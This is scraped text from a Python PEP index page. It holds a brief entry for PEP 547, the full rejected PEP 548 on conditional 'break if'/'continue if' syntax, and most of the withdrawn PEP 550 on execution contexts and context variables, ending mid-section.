GitHub. Copyright This document has been placed in the public domain.

Deferred

PEP 547 – Running extension modules using the -m option

Standards Track

This PEP proposes implementation that allows built-in and extension modules to be executed in the __main__ namespace using the PEP 489 multi-phase initialization.

PEP 548 – More Flexible Loop Control Author: R David Murray Status: Rejected Type: Standards Track Created: 05-Sep-2017 Python-Version: 3.7 Post-History: 05-Aug-2017 Table of Contents Rejection Note Abstract Motivation Syntax Semantics Justification and Examples Copyright Rejection Note Rejection by Guido: https://mail.python.org/pipermail/python-dev/2017-September/149232.html Abstract This PEP proposes enhancing the break and continue statements with an optional boolean expression that controls whether or not they execute. This allows the flow of control in loops to be expressed more clearly and compactly. Motivation Quoting from the rejected PEP 315: It is often necessary for some code to be executed before each evaluation of the while loop condition. This code is often duplicated outside the loop, as setup code that executes once before entering the loop:<setup code> while <condition>: <loop body> <setup code> That PEP was rejected because no syntax was found that was superior to the following form: while True: <setup code> if not <condition>: break <loop body> This PEP proposes a superior form, one that also has application to for loops. It is superior because it makes the flow of control in loops more explicit, while preserving Python’s indentation aesthetic. Syntax The syntax of the break and continue statements are extended as follows: break_stmt : "break" ["if" expression] continue_stmt : "continue" ["if" expression] In addition, the syntax of the while statement is modified as follows: while_stmt : while1_stmt|while2_stmt while1_stmt : "while" expression ":" suite ["else" ":" suite] while2_stmt : "while" ":" suite Semantics A break if or continue if is executed if and only if expression evaluates to true. A while statement with no expression loops until a break or return is executed (or an error is raised), as if it were a while True statement. Given that the loop can never terminate except in a way that would not cause an else suite to execute, no else suite is allowed in the expressionless form. If practical, it should also be an error if the body of an expressionless while does not contain at least one break or return statement. Justification and Examples The previous “best possible” form: while True: <setup code> if not <condition>: break <loop body> could be formatted as: while True: <setup code> if not <condition>: break <loop body> This is superficially almost identical to the form proposed by this PEP: while: <setup code> break if not <condition> <loop body> The significant difference here is that the loop flow control keyword appears first in the line of code. This makes it easier to comprehend the flow of control in the loop at a glance, especially when reading colorized code. For example, this is a common code pattern, taken in this case from the tarfile module: while True: buf = self._read(self.bufsize) if not buf: break t.append(buf) Reading this, we either see the break and possibly need to think about where the while is that it applies to, since the break is indented under the if, and then track backward to read the condition that triggers it; or, we read the condition and only afterward discover that this condition changes the flow of the loop. With the new syntax this becomes: while: buf = self._read(self.bufsize) break if not buf t.append(buf) Reading this we first see the break, which obviously applies to the while since it is at the same level of indentation as the loop body, and then we read the condition that causes the flow of control to change. Further, consider a more complex example from sre_parse: while True: c = self.next self.__next() if c is None: if not result: raise self.error("missing group name") raise self.error("missing %s, unterminated name" % terminator, len(result)) if c == terminator: if not result: raise self.error("missing group name", 1) break result += c return result This is the natural way to write this code given current Python loop control syntax. However, given break if, it would be more natural to write this as follows: while: c = self.next self.__next() break if c is None or c == terminator result += c if not result: raise self.error("missing group name") elif c is None: raise self.error("missing %s, unterminated name" % terminator, len(result)) return result This form moves the error handling out of the loop body, leaving the loop logic much more understandable. While it would certainly be possible to write the code this way using the current syntax, the proposed syntax makes it more natural to write it in the clearer form. The proposed syntax also provides a natural, Pythonic spelling of the classic repeat ... until <expression> construct found in other languages, and for which no good syntax has previously been found for Python: while: ... break if <expression> The tarfile module, for example, has a couple of “read until” loops like the following: while True: s = self.__read(1) if not s or s == NUL: break With the new syntax this would read more clearly: while: s = self.__read(1) break if not s or s == NUL The case for extending this syntax to continue is less strong, but buttressed by the value of consistency. It is much more common for a continue statement to be at the end of a multiline if suite, such as this example from zipfile while True: try: self.fp = io.open(file, filemode) except OSError: if filemode in modeDict: filemode = modeDict[filemode] continue raise break The only opportunity for improvement the new syntax would offer for this loop would be the omission of the True token. On the other hand, consider this example from uuid.py: for i in range(adapters.length): ncb.Reset() ncb.Command = netbios.NCBRESET ncb.Lana_num = ord(adapters.lana[i]) if win32wnet.Netbios(ncb) != 0: continue ncb.Reset() ncb.Command = netbios.NCBASTAT ncb.Lana_num = ord(adapters.lana[i]) ncb.Callname = '*'.ljust(16) ncb.Buffer = status = netbios.ADAPTER_STATUS() if win32wnet.Netbios(ncb) != 0: continue status._unpack() bytes = status.adapter_address[:6] if len(bytes) != 6: continue return int.from_bytes(bytes, 'big') This becomes: for i in range(adapters.length): ncb.Reset() ncb.Command = netbios.NCBRESET ncb.Lana_num = ord(adapters.lana[i]) continue if win32wnet.Netbios(ncb) != 0 ncb.Reset() ncb.Command = netbios.NCBASTAT ncb.Lana_num = ord(adapters.lana[i]) ncb.Callname = '*'.ljust(16) ncb.Buffer = status = netbios.ADAPTER_STATUS() continue if win32wnet.Netbios(ncb) != 0 status._unpack() bytes = status.adapter_address[:6] continue if len(bytes) != 6 return int.from_bytes(bytes, 'big') This example indicates that there are non-trivial use cases where continue if also improves the readability of the loop code. It is probably significant to note that all of the examples selected for this PEP were found by grepping the standard library for while True and continue, and the relevant examples were found in the first four modules inspected. Copyright This document is placed in the public domain.

Rejected

PEP 548 – More Flexible Loop Control

Standards Track

This PEP proposes enhancing the break and continue statements with an optional boolean expression that controls whether or not they execute. This allows the flow of control in loops to be expressed more clearly and compactly.

PEP 550 – Execution Context Author: Yury Selivanov <yury at edgedb.com>, Elvis Pranskevichus <elvis at edgedb.com> Status: Withdrawn Type: Standards Track Created: 11-Aug-2017 Python-Version: 3.7 Post-History: 11-Aug-2017, 15-Aug-2017, 18-Aug-2017, 25-Aug-2017, 01-Sep-2017 Table of Contents Abstract PEP Status Rationale Goals High-Level Specification Regular Single-threaded Code Multithreaded Code Generators Coroutines and Asynchronous Tasks Detailed Specification Generators contextlib.contextmanager Enumerating context vars coroutines Asynchronous Generators asyncio Generators Transformed into Iterators Implementation Logical Context Context Variables Performance Considerations Summary of the New APIs Python C API Design Considerations Should “yield from” leak context changes? Should PyThreadState_GetDict() use the execution context? PEP 521 Can Execution Context be implemented without modifying CPython? Should we update sys.displayhook and other APIs to use EC? Greenlets Context manager as the interface for modifications Setting and restoring context variables Alternative Designs for ContextVar API Logical Context with stacked values ContextVar “set/reset” Backwards Compatibility Rejected Ideas Replication of threading.local() interface Coroutines not leaking context changes by default Appendix: HAMT Performance Analysis Acknowledgments Version History References Copyright Abstract This PEP adds a new generic mechanism of ensuring consistent access to non-local state in the context of out-of-order execution, such as in Python generators and coroutines. Thread-local storage, such as threading.local(), is inadequate for programs that execute concurrently in the same OS thread. This PEP proposes a solution to this problem. PEP Status Due to its breadth and the lack of general consensus on some aspects, this PEP has been withdrawn and superseded by a simpler PEP 567, which has been accepted and included in Python 3.7. PEP 567 implements the same core idea, but limits the ContextVar support to asynchronous tasks while leaving the generator behavior untouched. The latter may be revisited in a future PEP. Rationale Prior to the advent of asynchronous programming in Python, programs used OS threads to achieve concurrency. The need for thread-specific state was solved by threading.local() and its C-API equivalent, PyThreadState_GetDict(). A few examples of where Thread-local storage (TLS) is commonly relied upon: Context managers like decimal contexts, numpy.errstate, and warnings.catch_warnings. Request-related data, such as security tokens and request data in web applications, language context for gettext etc. Profiling, tracing, and logging in large code bases. Unfortunately, TLS does not work well for programs which execute concurrently in a single thread. A Python generator is the simplest example of a concurrent program. Consider the following: def fractions(precision, x, y): with decimal.localcontext() as ctx: ctx.prec = precision yield Decimal(x) / Decimal(y) yield Decimal(x) / Decimal(y ** 2) g1 = fractions(precision=2, x=1, y=3) g2 = fractions(precision=6, x=2, y=3) items = list(zip(g1, g2)) The intuitively expected value of items is: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.11'), Decimal('0.222222'))] Rather surprisingly, the actual result is: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.111111'), Decimal('0.222222'))] This is because implicit Decimal context is stored as a thread-local, so concurrent iteration of the fractions() generator would corrupt the state. For Decimal, specifically, the only current workaround is to use explicit context method calls for all arithmetic operations [28]. Arguably, this defeats the usefulness of overloaded operators and makes even simple formulas hard to read and write. Coroutines are another class of Python code where TLS unreliability is a significant issue. The inadequacy of TLS in asynchronous code has lead to the proliferation of ad-hoc solutions, which are limited in scope and do not support all required use cases. The current status quo is that any library (including the standard library), which relies on TLS, is likely to be broken when used in asynchronous code or with generators (see [3] as an example issue.) Some languages, that support coroutines or generators, recommend passing the context manually as an argument to every function, see [1] for an example. This approach, however, has limited use for Python, where there is a large ecosystem that was built to work with a TLS-like context. Furthermore, libraries like decimal or numpy rely on context implicitly in overloaded operator implementations. The .NET runtime, which has support for async/await, has a generic solution for this problem, called ExecutionContext (see [2]). Goals The goal of this PEP is to provide a more reliable threading.local() alternative, which: provides the mechanism and the API to fix non-local state issues with coroutines and generators; implements TLS-like semantics for synchronous code, so that users like decimal and numpy can switch to the new mechanism with minimal risk of breaking backwards compatibility; has no or negligible performance impact on the existing code or the code that will be using the new mechanism, including C extensions. High-Level Specification The full specification of this PEP is broken down into three parts: High-Level Specification (this section): the description of the overall solution. We show how it applies to generators and coroutines in user code, without delving into implementation details. Detailed Specification: the complete description of new concepts, APIs, and related changes to the standard library. Implementation Details: the description and analysis of data structures and algorithms used to implement this PEP, as well as the necessary changes to CPython. For the purpose of this section, we define execution context as an opaque container of non-local state that allows consistent access to its contents in the concurrent execution environment. A context variable is an object representing a value in the execution context. A call to contextvars.ContextVar(name) creates a new context variable object. A context variable object has three methods: get(): returns the value of the variable in the current execution context; set(value): sets the value of the variable in the current execution context; delete(): can be used for restoring variable state, it’s purpose and semantics are explained in Setting and restoring context variables. Regular Single-threaded Code In regular, single-threaded code that doesn’t involve generators or coroutines, context variables behave like globals: var = contextvars.ContextVar('var') def sub(): assert var.get() == 'main' var.set('sub') def main(): var.set('main') sub() assert var.get() == 'sub' Multithreaded Code In multithreaded code, context variables behave like thread locals: var = contextvars.ContextVar('var') def sub(): assert var.get() is None # The execution context is empty # for each new thread. var.set('sub') def main(): var.set('main') thread = threading.Thread(target=sub) thread.start() thread.join() assert var.get() == 'main' Generators Unlike regular function calls, generators can cooperatively yield their control of execution to the caller. Furthermore, a generator does not control where the execution would continue after it yields. It may be resumed from an arbitrary code location. For these reasons, the least surprising behaviour of generators is as follows: changes to context variables are always local and are not visible in the outer context, but are visible to the code called by the generator; once set in the generator, the context variable is guaranteed not to change between iterations; changes to context variables in outer context (where the generator is being iterated) are visible to the generator, unless these variables were also modified inside the generator. Let’s review: var1 = contextvars.ContextVar('var1') var2 = contextvars.ContextVar('var2') def gen(): var1.set('gen') assert var1.get() == 'gen' assert var2.get() == 'main' yield 1 # Modification to var1 in main() is shielded by # gen()'s local modification. assert var1.get() == 'gen' # But modifications to var2 are visible assert var2.get() == 'main modified' yield 2 def main(): g = gen() var1.set('main') var2.set('main') next(g) # Modification of var1 in gen() is not visible. assert var1.get() == 'main' var1.set('main modified') var2.set('main modified') next(g) Now, let’s revisit the decimal precision example from the Rationale section, and see how the execution context can improve the situation: import decimal # create a new context var decimal_ctx = contextvars.ContextVar('decimal context') # Pre-PEP 550 Decimal relies on TLS for its context. # For illustration purposes, we monkey-patch the decimal # context functions to use the execution context. # A real working fix would need to properly update the # C implementation as well. def patched_setcontext(context): decimal_ctx.set(context) def patched_getcontext(): ctx = decimal_ctx.get() if ctx is None: ctx = decimal.Context() decimal_ctx.set(ctx) return ctx decimal.setcontext = patched_setcontext decimal.getcontext = patched_getcontext def fractions(precision, x, y): with decimal.localcontext() as ctx: ctx.prec = precision yield MyDecimal(x) / MyDecimal(y) yield MyDecimal(x) / MyDecimal(y ** 2) g1 = fractions(precision=2, x=1, y=3) g2 = fractions(precision=6, x=2, y=3) items = list(zip(g1, g2)) The value of items is: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.11'), Decimal('0.222222'))] which matches the expected result. Coroutines and Asynchronous Tasks Like generators, coroutines can yield and regain control. The major difference from generators is that coroutines do not yield to the immediate caller. Instead, the entire coroutine call stack (coroutines chained by await) switches to another coroutine call stack. In this regard, await-ing on a coroutine is conceptually similar to a regular function call, and a coroutine chain (or a “task”, e.g. an asyncio.Task) is conceptually similar to a thread. From this similarity we conclude that context variables in coroutines should behave like “task locals”: changes to context variables in a coroutine are visible to the coroutine that awaits on it; changes to context variables made in the caller prior to awaiting are visible to the awaited coroutine; changes to context variables made in one task are not visible in other tasks; tasks spawned by other tasks inherit the execution context from the parent task, but any changes to context variables made in the parent task after the child task was spawned are not visible. The last point shows behaviour that is different from OS threads. OS threads do not inherit the execution context by default. There are two reasons for this: common usage intent and backwards compatibility. The main reason for why tasks inherit the context, and threads do not, is the common usage intent. Tasks are often used for relatively short-running operations which are logically tied to the code that spawned the task (like running a coroutine with a timeout in asyncio). OS threads, on the other hand, are normally used for long-running, logically separate code. With respect to backwards compatibility, we want the execution context to behave like threading.local(). This is so that libraries can start using the execution context in place of TLS with a lesser risk of breaking compatibility with existing code. Let’s review a few examples to illustrate the semantics we have just defined. Context variable propagation in a single task: import asyncio var = contextvars.ContextVar('var') async def main(): var.set('main') await sub() # The effect of sub() is visible. assert var.get() == 'sub' async def sub(): assert var.get() == 'main' var.set('sub') assert var.get() == 'sub' loop = asyncio.get_event_loop() loop.run_until_complete(main()) Context variable propagation between tasks: import asyncio var = contextvars.ContextVar('var') async def main(): var.set('main') loop.create_task(sub()) # schedules asynchronous execution # of sub(). assert var.get() == 'main' var.set('main changed') async def sub(): # Sleeping will make sub() run after # "var" is modified in main(). await asyncio.sleep(1) # The value of "var" is inherited from main(), but any # changes to "var" made in main() after the task # was created are *not* visible. assert var.get() == 'main' # This change is local to sub() and will not be visible # to other tasks, including main(). var.set('sub') loop = asyncio.get_event_loop() loop.run_until_complete(main()) As shown above, changes to the execution context are local to the task, and tasks get a snapshot of the execution context at the point of creation. There is one narrow edge case when this can lead to surprising behaviour. Consider the following example where we modify the context variable in a nested coroutine: async def sub(var_value): await asyncio.sleep(1) var.set(var_value) async def main(): var.set('main') # waiting for sub() directly await sub('sub-1') # var change is visible assert var.get() == 'sub-1' # waiting for sub() with a timeout; await asyncio.wait_for(sub('sub-2'), timeout=2) # wait_for() creates an implicit task, which isolates # context changes, which means that the below assertion # will fail. assert var.get() == 'sub-2' # AssertionError! However, relying on context changes leaking to the caller is ultimately a bad pattern. For this reason, the behaviour shown in the above example is not considered a major issue and can be addressed with proper documentation. Detailed Specification Conceptually, an execution context (EC) is a stack of logical contexts. There is always exactly one active EC per Python thread. A logical context (LC) is a mapping of context variables to their values in that particular LC. A context variable is an object representing a value in the execution context. A new context variable object is created by calling contextvars.ContextVar(name: str). The value of the required name argument is not used by the EC machinery, but may be used for debugging and introspection. The context variable object has the following methods and attributes: name: the value passed to ContextVar(). get(*, topmost=False, default=None), if topmost is False (the default), traverses the execution context top-to-bottom, until the variable value is found. If topmost is True, returns the value of the variable in the topmost logical context. If the variable value was not found, returns the value of default. set(value): sets the value of the variable in the topmost logical context. delete(): removes the variable from the topmost logical context. Useful when restoring the logical context to the state prior to the set() call, for example, in a context manager, see Setting and restoring context variables for more information. Generators When created, each generator object has an empty logical context object stored in its __logical_context__ attribute. This logical context is pushed onto the execution context at the beginning of each generator iteration and popped at the end: var1 = contextvars.ContextVar('var1') var2 = contextvars.ContextVar('var2') def gen(): var1.set('var1-gen') var2.set('var2-gen') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}) # ] n = nested_gen() # nested_gen_LC is created next(n) # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}) # ] var1.set('var1-gen-mod') var2.set('var2-gen-mod') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen-mod', var2: 'var2-gen-mod'}) # ] next(n) def nested_gen(): # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}), # nested_gen_LC() # ] assert var1.get() == 'var1-gen' assert var2.get() == 'var2-gen' var1.set('var1-nested-gen') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}), # nested_gen_LC({var1: 'var1-nested-gen'}) # ] yield # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen-mod', var2: 'var2-gen-mod'}), # nested_gen_LC({var1: 'var1-nested-gen'}) # ] assert var1.get() == 'var1-nested-gen' assert var2.get() == 'var2-gen-mod' yield # EC = [outer_LC()] g = gen() # gen_LC is created for the generator object `g` list(g) # EC = [outer_LC()] The snippet above shows the state of the execution context stack throughout the generator lifespan. contextlib.contextmanager The contextlib.contextmanager() decorator can be used to turn a generator into a context manager. A context manager that temporarily modifies the value of a context variable could be defined like this: var = contextvars.ContextVar('var') @contextlib.contextmanager def var_context(value): original_value = var.get() try: var.set(value) yield finally: var.set(original_value) Unfortunately, this would not work straight away, as the modification to the var variable is contained to the var_context() generator, and therefore will not be visible inside the with block: def func(): # EC = [{}, {}] with var_context(10): # EC becomes [{}, {}, {var: 10}] in the # *precision_context()* generator, # but here the EC is still [{}, {}] assert var.get() == 10 # AssertionError! The way to fix this is to set the generator’s __logical_context__ attribute to None. This will cause the generator to avoid modifying the execution context stack. We modify the contextlib.contextmanager() decorator to set genobj.__logical_context__ to None to produce well-behaved context managers: def func(): # EC = [{}, {}] with var_context(10): # EC = [{}, {var: 10}] assert var.get() == 10 # EC becomes [{}, {var: None}] Enumerating context vars The ExecutionContext.vars() method returns a list of ContextVar objects, that have values in the execution context. This method is mostly useful for introspection and logging. coroutines In CPython, coroutines share the implementation with generators. The difference is that in coroutines __logical_context__ defaults to None. This affects both the async def coroutines and the old-style generator-based coroutines (generators decorated with @types.coroutine). Asynchronous Generators The execution context semantics in asynchronous generators does not differ from that of regular generators. asyncio asyncio uses Loop.call_soon, Loop.call_later, and Loop.call_at to schedule the asynchronous execution of a function. asyncio.Task uses call_soon() to run the wrapped coroutine. We modify Loop.call_{at,later,soon} to accept the new optional execution_context keyword argument, which defaults to the copy of the current execution context: def call_soon(self, callback, *args, execution_context=None): if execution_context is None: execution_context = contextvars.get_execution_context() # ... some time later contextvars.run_with_execution_context( execution_context, callback, args) The contextvars.get_execution_context() function returns a shallow copy of the current execution context. By shallow copy here we mean such a new execution context that: lookups in the copy provide the same results as in the original execution context, and any changes in the original execution context do not affect the copy, and any changes to the copy do not affect the original execution context. Either of the following satisfy the copy requirements: a new stack with shallow copies of logical contexts; a new stack with one squashed logical context. The contextvars.run_with_execution_context(ec, func, *args, **kwargs) function runs func(*args, **kwargs) with ec as the execution context. The function performs the following steps: Set ec as the current execution context stack in the current thread. Push an empty logical context onto the stack. Run func(*args, **kwargs). Pop the logical context from the stack. Restore the original execution context stack. Return or raise the func() result. These steps ensure that ec cannot be modified by func, which makes run_with_execution_context() idempotent. asyncio.Task is modified as follows: class Task: def __init__(self, coro): ... # Get the current execution context snapshot. self._exec_context = contextvars.get_execution_context() # Create an empty Logical Context that will be # used by coroutines run in the task. coro.__logical_context__ = contextvars.LogicalContext() self._loop.call_soon( self._step, execution_context=self._exec_context) def _step(self, exc=None): ... self._loop.call_soon( self._step, execution_context=self._exec_context) ... Generators Transformed into Iterators Any Python generator can be represented as an equivalent iterator. Compilers like Cython rely on this axiom. With respect to the execution context, such iterator should behave the same way as the generator it represents. This means that there needs to be a Python API to create new logical contexts and run code with a given logical context. The contextvars.LogicalContext() function creates a new empty logical context. The contextvars.run_with_logical_context(lc, func, *args, **kwargs) function can be used to run functions in the specified logical context. The lc can be modified as a result of the call. The contextvars.run_with_logical_context() function performs the following steps: Push lc onto the current execution context stack. Run func(*args, **kwargs). Pop lc from the execution context stack. Return or raise the func() result. By using LogicalContext() and run_with_logical_context(), we can replicate the generator behaviour like this: class Generator: def __init__(self): self.logical_context = contextvars.LogicalContext() def __iter__(self): return self def __next__(self): return contextvars.run_with_logical_context( self.logical_context, self._next_impl) def _next_impl(self): # Actual __next__ implementation. ... Let’s see how this pattern can be applied to an example generator: # create a new context variable var = contextvars.ContextVar('var') def gen_series(n): var.set(10) for i in range(1, n): yield var.get() * i # gen_series is equivalent to the following iterator: class CompiledGenSeries: # This class is what the `gen_series()` generator can # be transformed to by a compiler like Cython. def __init__(self, n): # Create a new empty logical context, # like the generators do. self.logical_context = contextvars.LogicalContext() # Initialize the generator in its LC. # Otherwise `var.set(10)` in the `_init` method # would leak. contextvars.run_with_logical_context( self.logical_context, self._init, n) def _init(self, n): self.i = 1 self.n = n var.set(10) def __iter__(self): return self def __next__(self): # Run the actual implementation of __next__ in our LC. return contextvars.run_with_logical_context( self.logical_context, self._next_impl) def _next_impl(self): if self.i == self.n: raise StopIteration result = var.get() * self.i self.i += 1 return result For hand-written iterators such approach to context management is normally not necessary, and it is easier to set and restore context variables directly in __next__: class MyIterator: # ... def __next__(self): old_val = var.get() try: var.set(new_val) # ... finally: var.set(old_val) Implementation Execution context is implemented as an immutable linked list of logical contexts, where each logical context is an immutable weak key mapping. A pointer to the currently active execution context is stored in the OS thread state: +-----------------+ | | ec | PyThreadState +-------------+ | | | +-----------------+ | | ec_node ec_node ec_node v +------+------+ +------+------+ +------+------+ | NULL | lc |<----| prev | lc |<----| prev | lc | +------+--+---+ +------+--+---+ +------+--+---+ | | | LC v LC v LC v +-------------+ +-------------+ +-------------+ | var1: obj1 | | EMPTY | | var1: obj4 | | var2: obj2 | +-------------+ +-------------+ | var3: obj3 | +-------------+ The choice of the immutable list of immutable mappings as a fundamental data structure is motivated by the need to efficiently implement contextvars.get_execution_context(), which is to be frequently used by asynchronous tasks and callbacks. When the EC is immutable, get_execution_context() can simply copy the current execution context by reference: def get_execution_context(self): return PyThreadState_Get().ec Let’s review all possible context modification scenarios: The ContextVariable.set() method is called:def ContextVar_set(self, val): # See a more complete set() definition # in the `Context Variables` section. tstate = PyThreadState_Get() top_ec_node = tstate.ec top_lc = top_ec_node.lc new_top_lc = top_lc.set(self, val) tstate.ec = ec_node( prev=top_ec_node.prev, lc=new_top_lc) The contextvars.run_with_logical_context() is called, in which case the passed logical context object is appended to the execution context:def run_with_logical_context(lc, func, *args, **kwargs): tstate = PyThreadState_Get() old_top_ec_node = tstate.ec new_top_ec_node = ec_node(prev=old_top_ec_node, lc=lc) try: tstate.ec = new_top_ec_node return func(*args, **kwargs) finally: tstate.ec = old_top_ec_node The contextvars.run_with_execution_context() is called, in which case the current execution context is set to the passed execution context with a new empty logical context appended to it:def run_with_execution_context(ec, func, *args, **kwargs): tstate = PyThreadState_Get() old_top_ec_node = tstate.ec new_lc = contextvars.LogicalContext() new_top_ec_node = ec_node(prev=ec, lc=new_lc) try: tstate.ec = new_top_ec_node return func(*args, **kwargs) finally: tstate.ec = old_top_ec_node Either genobj.send(), genobj.throw(), genobj.close() are called on a genobj generator, in which case the logical context recorded in genobj is pushed onto the stack:PyGen_New(PyGenObject *gen): if (gen.gi_code.co_flags & (CO_COROUTINE | CO_ITERABLE_COROUTINE)): # gen is an 'async def' coroutine, or a generator # decorated with @types.coroutine. gen.__logical_context__ = None else: # Non-coroutine generator gen.__logical_context__ = contextvars.LogicalContext() gen_send(PyGenObject *gen, ...): tstate = PyThreadState_Get() if gen.__logical_context__ is not None: old_top_ec_node = tstate.ec new_top_ec_node = ec_node( prev=old_top_ec_node, lc=gen.__logical_context__) try: tstate.ec = new_top_ec_node return _gen_send_impl(gen, ...) finally: gen.__logical_context__ = tstate.ec.lc tstate.ec = old_top_ec_node else: return _gen_send_impl(gen, ...) Coroutines and asynchronous generators share the implementation with generators, and the above changes apply to them as well. In certain scenarios the EC may need to be squashed to limit the size of the chain. For example, consider the following corner case: async def repeat(coro, delay): await coro() await asyncio.sleep(delay) loop.create_task(repeat(coro, delay)) async def ping(): print('ping') loop = asyncio.get_event_loop() loop.create_task(repeat(ping, 1)) loop.run_forever() In the above code, the EC chain will grow as long as repeat() is called. Each new task will call contextvars.run_with_execution_context(), which will append a new logical context to the chain. To prevent unbounded growth, contextvars.get_execution_context() checks if the chain is longer than a predetermined maximum, and if it is, squashes the chain into a single LC: def get_execution_context(): tstate = PyThreadState_Get() if tstate.ec_len > EC_LEN_MAX: squashed_lc = contextvars.LogicalContext() ec_node = tstate.ec while ec_node: # The LC.merge() method does not replace # existing keys. squashed_lc = squashed_lc.merge(ec_node.lc) ec_node = ec_node.prev return ec_node(prev=NULL, lc=squashed_lc) else: return tstate.ec Logical Context Logical context is an immutable weak key mapping which has the following properties with respect to garbage collection: ContextVar objects are strongly-referenced only from the application code, not from any of the execution context machinery or values they point to. This means that there are no reference cycles that could extend their lifespan longer than necessary, or prevent their collection by the GC. Values put in the execution context are guaranteed to be kept alive while there is a ContextVar key referencing them in the thread. If a ContextVar is garbage collected, all of its values will be removed from all contexts, allowing them to be GCed if needed. If an OS thread has ended its execution, its thread state will be cleaned up along with its execution context, cleaning up all values bound to all context variables in the thread. As discussed earlier, we need contextvars.get_execution_context() to be consistently fast regardless of the size of the execution context, so logical context is necessarily an immutable mapping. Choosing dict for the underlying implementation is suboptimal, because LC.set() will cause dict.copy(), which is an O(N) operation, where N is the number of items in the LC. get_execution_context(), when squashing the EC, is an O(M) operation, where M is the total number of context variable values in the EC. So, instead of dict, we choose Hash Array Mapped Trie (HAMT) as the underlying implementation of logical contexts. (Scala and Clojure use HAMT to implement high performance immutable collections [5], [6].) With HAMT .set() becomes an O(log N) operation, and get_execution_context() squashing is more efficient on average due to structural sharing in HAMT. See Appendix: HAMT Performance Analysis for a more elaborate analysis of HAMT performance compared to dict. Context Variables The ContextVar.get() and ContextVar.set() methods are implemented as follows (in pseudo-code): class ContextVar: def get(self, *, default=None, topmost=False): tstate = PyThreadState_Get() ec_node = tstate.ec while ec_node: if self in ec_node.lc: return ec_node.lc[self] if topmost: break ec_node = ec_node.prev return default def set(self, value): tstate = PyThreadState_Get() top_ec_node = tstate.ec if top_ec_node is not None: top_lc = top_ec_node.lc new_top_lc = top_lc.set(self, value) tstate.ec = ec_node( prev=top_ec_node.prev, lc=new_top_lc) else: # First ContextVar.set() in this OS thread. top_lc = contextvars.LogicalContext() new_top_lc = top_lc.set(self, value) tstate.ec = ec_node( prev=NULL, lc=new_top_lc) def delete(self): tstate = PyThreadState_Get() top_ec_node = tstate.ec if top_ec_node is None: raise LookupError top_lc = top_ec_node.lc if self not in top_lc: raise LookupError new_top_lc = top_lc.delete(self) tstate.ec = ec_node( prev=top_ec_node.prev, lc=new_top_lc) For efficient access in performance-sensitive code paths, such as in numpy and decimal, we cache lookups in ContextVar.get(), making it an O(1) operation when the cache is hit. The cache key is composed from the following: The new uint64_t PyThreadState->unique_id, which is a globally unique thread state identifier. It is computed from the new uint64_t PyInterpreterState->ts_counter, which is incremented whenever a new thread state is created. The new uint64_t PyThreadState->stack_version, which is a thread-specific counter, which is incremented whenever a non-empty logical context is pushed onto the stack or popped from the stack. The uint64_t ContextVar->version counter, which is incremented whenever the context variable value is changed in any logical context in any OS thread. The cache is then implemented as follows: class ContextVar: def set(self, value): ... # implementation self.version += 1 def get(self, *, default=None, topmost=False): if topmost: return self._get_uncached( default=default, topmost=topmost) tstate = PyThreadState_Get() if (self.last_tstate_id == tstate.unique_id and self.last_stack_ver == tstate.stack_version and self.last_version == self.version): return self.last_value value = self._get_uncached(default=default) self.last_value = value # borrowed ref self.last_tstate_id = tstate.unique_id self.last_stack_version = tstate.stack_version self.last_version = self.version return value Note that last_value is a borrowed reference. We assume that if the version checks are fine, the value object will be alive. This allows the values of context variables to be properly garbage collected. This generic caching approach is similar to what the current C implementation of decimal does to cache the current decimal context, and has similar performance characteristics. Performance Considerations Tests of the reference implementation based on the prior revisions of this PEP have shown 1-2% slowdown on generator microbenchmarks and no noticeable difference in macrobenchmarks. The performance of non-generator and non-async code is not affected by this PEP. Summary of the New APIs Python The following new Python APIs are introduced by this PEP: The new contextvars.ContextVar(name: str='...') class, instances of which have the following: the read-only .name attribute, the .get() method, which returns the value of the variable in the current execution context; the .set() method, which sets the value of the variable in the current logical context; the .delete() method, which removes the value of the variable from the current logical context. The new contextvars.ExecutionContext() class, which represents an execution context. The new contextvars.LogicalContext() class, which represents a logical context. The new contextvars.get_execution_context() function, which returns an ExecutionContext instance representing a copy of the current execution context. The contextvars.run_with_execution_context(ec: ExecutionContext, func, *args, **kwargs) function, which runs func with the provided execution context. The contextvars.run_with_logical_context(lc: LogicalContext, func, *args, **kwargs) function, which runs func with the provided logical context on top of the current execution context. C API PyContextVar * PyContext_NewVar(char *desc): create a PyContextVar object. PyObject * PyContext_GetValue(PyContextVar *, int topmost): return the value of the variable in the current execution context. int PyContext_SetValue(PyContextVar *, PyObject *): set the value of the variable in the current logical context. int PyContext_DelValue(PyContextVar *): delete the value of the variable from the current logical context. PyLogicalContext * PyLogicalContext_New(): create a new empty PyLogicalContext. PyExecutionContext * PyExecutionContext_New(): create a new empty PyExecutionContext. PyExecutionContext * PyExecutionContext_Get(): return the current execution context. int PyContext_SetCurrent( PyExecutionContext *, PyLogicalContext *): set the passed EC object as the current execution context for the active thread state, and/or set the passed LC object as the current logical context. Design Considerations Should “yield from” leak context changes? No. It may be argued that yield from is semantically equivalent to calling a function, and should leak context changes. However, it is not possible to satisfy the following at the same time: next(gen) does not leak context changes made in gen, and yield from gen leaks context changes made in gen. The reason is that yield from can be used with a partially iterated generator, which already has local context changes: var = contextvars.ContextVar('var') def gen(): for i in range(10): var.set('gen') yield i def outer_gen(): var.set('outer_gen') g = gen() yield next(g) # Changes not visible during partial iteration, # the goal of this PEP: assert var.get() == 'outer_gen' yield from g assert var.get() == 'outer_gen' # or 'gen'? Another example would be refactoring of an explicit for..in yield construct to a yield from expression. Consider the following code: def outer_gen(): var.set('outer_gen') for i in gen(): yield i assert var.get() == 'outer_gen' which we want to refactor to use yield from: def outer_gen(): var.set('outer_gen') yield from gen() assert var.get() == 'outer_gen' # or 'gen'? The above examples illustrate that it is unsafe to refactor generator code using yield from when it can leak context changes. Thus, the only well-defined and consistent behaviour is to always isolate context changes in generators, regardless of how they are being iterated. Should PyThreadState_GetDict() use the execution context? No. PyThreadState_GetDict is based on TLS, and changing its semantics will break backwards compatibility. PEP 521 PEP 521 